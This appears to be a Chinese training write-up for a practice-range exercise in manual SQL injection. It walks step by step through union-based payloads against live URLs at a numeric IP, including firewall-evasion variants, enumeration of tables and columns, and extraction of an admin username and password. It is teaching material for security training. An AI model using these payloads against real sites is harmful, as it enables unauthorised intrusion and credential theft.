训练:靶场SQL注入
【训练】9月30号前每人完成靶场SQL注入,录屏上传到群文件"训练题解答上传"目录。
①靶场:
http://59.63.200.79:8003/?id=1

http://59.63.200.79:8014/?id=1
②步骤:
sql手注的一般流程
一、判断注入点 ?id=1'
二、判断字段数 ?id=1 order by 2
三、判断回显点
MySQL: ?id=1 and 1=2 union select 1,2
?id=1 union select 1,2 limit 1,1
?id=-1 union select 1,2
?id=9.9999 union select 1,2
Access: ?id=1 union select 1,2,3,4,5,6,7,8,9,10 from admin/product

?id=1 union select 1,username,3,4,5,6,7,8,9,10 from admin

?id=1 union select 1,username,3,4,5,6,password,8,9,10 from admin

?id=1 and exists(select * from admin)
?id=1 and exists(select id from admin)
四、查询相关内容
Step1 http://59.63.200.79:8014/?id=1
正常
Step2 http://59.63.200.79:8014/?id=1'
报错:
Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in C:\phpStudy\WWW\index.php on line 61
说明单引号没有过滤,存在SQL注入漏洞
Step2 http://59.63.200.79:8014/?id=1 and 1=2
Step2 http://59.63.200.79:8014/?id=1 and 1=1
报错:
网站防火墙
您的请求带有不合法参数,已被网站管理员设置拦截!
可能原因:您提交的内容包含危险的攻击请求
如何解决:
1)检查提交内容;
2)如网站托管,请联系空间提供商;
3)普通网站访客,请联系网站管理员;
Step2 http://59.63.200.79:8014/?id=1 and -1=-1
正常
Step3 字段数:
Step3 http://59.63.200.79:8014/?id=1 order by 2
报错:
网站防火墙
您的请求带有不合法参数,已被网站管理员设置拦截!
可能原因:您提交的内容包含危险的攻击请求
如何解决:
1)检查提交内容;
2)如网站托管,请联系空间提供商;
3)普通网站访客,请联系网站管理员;
Step3 http://59.63.200.79:8003/?id=1 order by 2
正常
Step3http://59.63.200.79:8003/?id=1 order by 3
出错
说明2个字段
Step4 http://59.63.200.79:8014/?id=1 and 1=2 union select 1,2
报错:
网站防火墙
您的请求带有不合法参数,已被网站管理员设置拦截!
可能原因:您提交的内容包含危险的攻击请求
如何解决:
1)检查提交内容;
2)如网站托管,请联系空间提供商;
3)普通网站访客,请联系网站管理员;
Step4 http://59.63.200.79:8003/?id=1 and 1=2 union select 1,2
显示“2”

Step4 获取数据库名称:
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,database()
显示数据库:maoshe

Step5 列出当前数据库所有表的名称:
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
当前数据库[database()即maoshe]中共4张表:admin, dirs, news, xss

Step6 获取admin表中的字段名:
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'
表admin中共3个字段:Id, username, password

Step7 获取admin表中的用户名、密码字段中的值:
数据库:maoshe
表:admin
字段:Id, username, password
username和password之间加:(冒号):0x3a
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(username,0x3a,password) from admin
加水平线<hr >:0x3c,0x68,0x72,0x2f,0x3e
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e) from admin
即:
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(username,':',password,'<hr />') from admin
用户名 : 密码为:
admin : hellohack
,ppt领取微信 : zkaqbanban

最后结果:
admin : hellohack
用户名:admin,密码:hellohack

